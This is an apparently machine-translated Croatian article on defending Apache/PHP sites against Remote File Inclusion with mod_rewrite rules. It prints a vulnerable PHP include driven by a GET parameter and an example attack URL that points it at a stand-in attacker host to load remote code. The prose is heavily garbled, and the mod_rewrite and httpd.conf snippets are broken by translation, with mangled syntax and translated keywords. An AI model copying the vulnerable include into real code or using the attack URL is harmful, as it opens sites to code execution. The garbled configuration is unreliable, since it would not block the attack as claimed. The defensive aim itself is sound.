..


Sponzorirani linkovi

Korištenje mod_rewrite kako bi se spriječilo uključivanje udaljenih datoteka

Članak je napisao Claudio Garau

Jedan od najčešćih napada pretrpio web stranica je učinjeno kroz pokušaj da se uključuju datoteke koje sadrže zlonamjerni kod, teoretski govoreći o napadu je vrlo jednostavno izvesti, to samo zato jer datoteka sadrži zlonamjerni kod i URL na vrstu preglednika.

Ova vrsta napada, poznat po tehnički izraz za udaljene datoteke Uključivanje ili s jednostavnim akronim RFI, često je povezan s rada pod nazivom upada XSA (Cross-Server Attack) općenito je kako bi ugrozio sigurnost web-mjesta ili čak i web poslužitelj, faktor, što ga čini još opasnije RFI.

Za pokretanje napada RFI, napadač treba "memorijski prostor" u aplikaciju u kojoj bi njegovo uključivanje na daljinu, taj "prostor" je općenito "rupa" (bug) sigurnosti, što ga čini ranjivim skriptu.
Klasičan slučaj curenja na osjetljivim RFI se odnose na prolaz varijable imena na stranicu putem, samo jednostavan komad koda kao što je to ugroziti zahtjev:

 



 # Include datotekama putem querystring varijabla prošao kroz







 uključuju ($ _GET ['stranica']);

 
U kôd smo nedefinirani varijablu ili bolje treba definirati ovisno o parametrima šalje preko querystring, ako na primjer izravne URL stranice koja sadrži popis prijedlog je bio sličan sljedećem:
 



 http://www.sito.com/index.php?pagina=news.php

 
vrijednost varijable $ page jednaka "Vijesti" napada o tom zahtjevu može se izvršiti na ovaj način:
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
Datoteku "x.php", u slučaju uspješnog napada može uključivati ​​bilo koju vrstu malicioznog koda i uzrokovati štetu znatno jače i definitivno nego jednostavnost napada može biti da misle.

Srećom, postoje neke tehnike samoobrane koje se mogu koristiti kako bi spriječio takve napade, tijekom ovog kratkog razgovora će se analizirati na temelju modula za URL prepisivanjem (mod_rewrite), koje poslužitelj Apache web, koja se može iskoristiti metodama različite.

Jedan od najvažnijih klasičnih poslati upute za poslužitelj Apache web je korištenje klasik. Htaccess varalica koji će biti uključeni u mapu koju želite zaštititi od napada.

Prva metoda možemo koristiti je za umetanje jednostavno pravilo a. htaccess datoteci:






 RewriteCond% {} QUERY_STRING (.*)( http | https | FTP): \ / \ /(.*)







 ^(.+)$ RewriteRule - [F]



Pravilo kaže da formuliran u querystring ("{QUERY_STRING}") ne može se prenijeti argumente koji sadrže sufiksa "http", "https" i "ftp" bez obzira na sadržaj prethodnog ili sljedećeg ("(.*)" ) parametara. Ako se to dogodi web-poslužitelj će se vratiti pogrešku tipa 403 (zabranjeno).

Oni koji imaju mogućnost izravnog pristupa datoteci Apache konfiguracije (httpd.conf), to može biti stavljen na jednostavan spremnik koji sadrži direktive mogu imati učinak usporediv s pravilima prededentemente:






 # Provjerite da mod_rewrite je dostupan







 <IfModule Mod_rewrite.c>







 # Uključite motor URL prepisati

 





 RewriteEngine na

 





 # Mi smo postavili naš pravilo protiv RFI







 RewriteCond% {} QUERY_STRING (.*)( http | https | FTP): \ / \ /(.*)







 # Blok zahtjeva za moguće uključenje i marke







 # Korištenje vraibile okoliša [E = varname: Vrijednost]







 ^(.+)$ RewriteRule - [F, E = RFI: istina]

 





 </ IfModule>

 





 # Creaimo dnevnik pokušaja RFI da identficato







 # Ranije pomoću "varijable okoline"







 CustomLog / FOLDER_NAME / rfi.log kombinirani ENV = RFI



Nakon pisanja direktive za konfiguracijske datoteke, morat ćete spremiti svoje promjene i ponovno na web-poslužitelju stupiti na snagu, imajte na umu da je na kraju popisa, i izvan spremnika je umetnuta zahtjev za stvaranje log datoteku namijenjen za snimanje zahtjeve iz udaljenih datoteka uključivanja i praćenja ovog malog "blokiranje RFI bilješke za napade", otkrit ćemo da je pokušaja Remote File inkluzije na naše web stranice su manje od rijetki što mislite.

U istoj kategoriji ...
E-učenje
Linux Tečaj Linux Tečaj
Kompletan vodič za open-source sustava. Počevši od 49 €.
Tečaj MySQL Tečaj MySQL
Upravljanje open-source baza podataka. Počevši od 39 €.
PHP Tečaj PHP Tečaj
Cijeli tečaj za izradu dinamičkih Web stranica. Počevši od 49 €.
Sponzorirani linkovi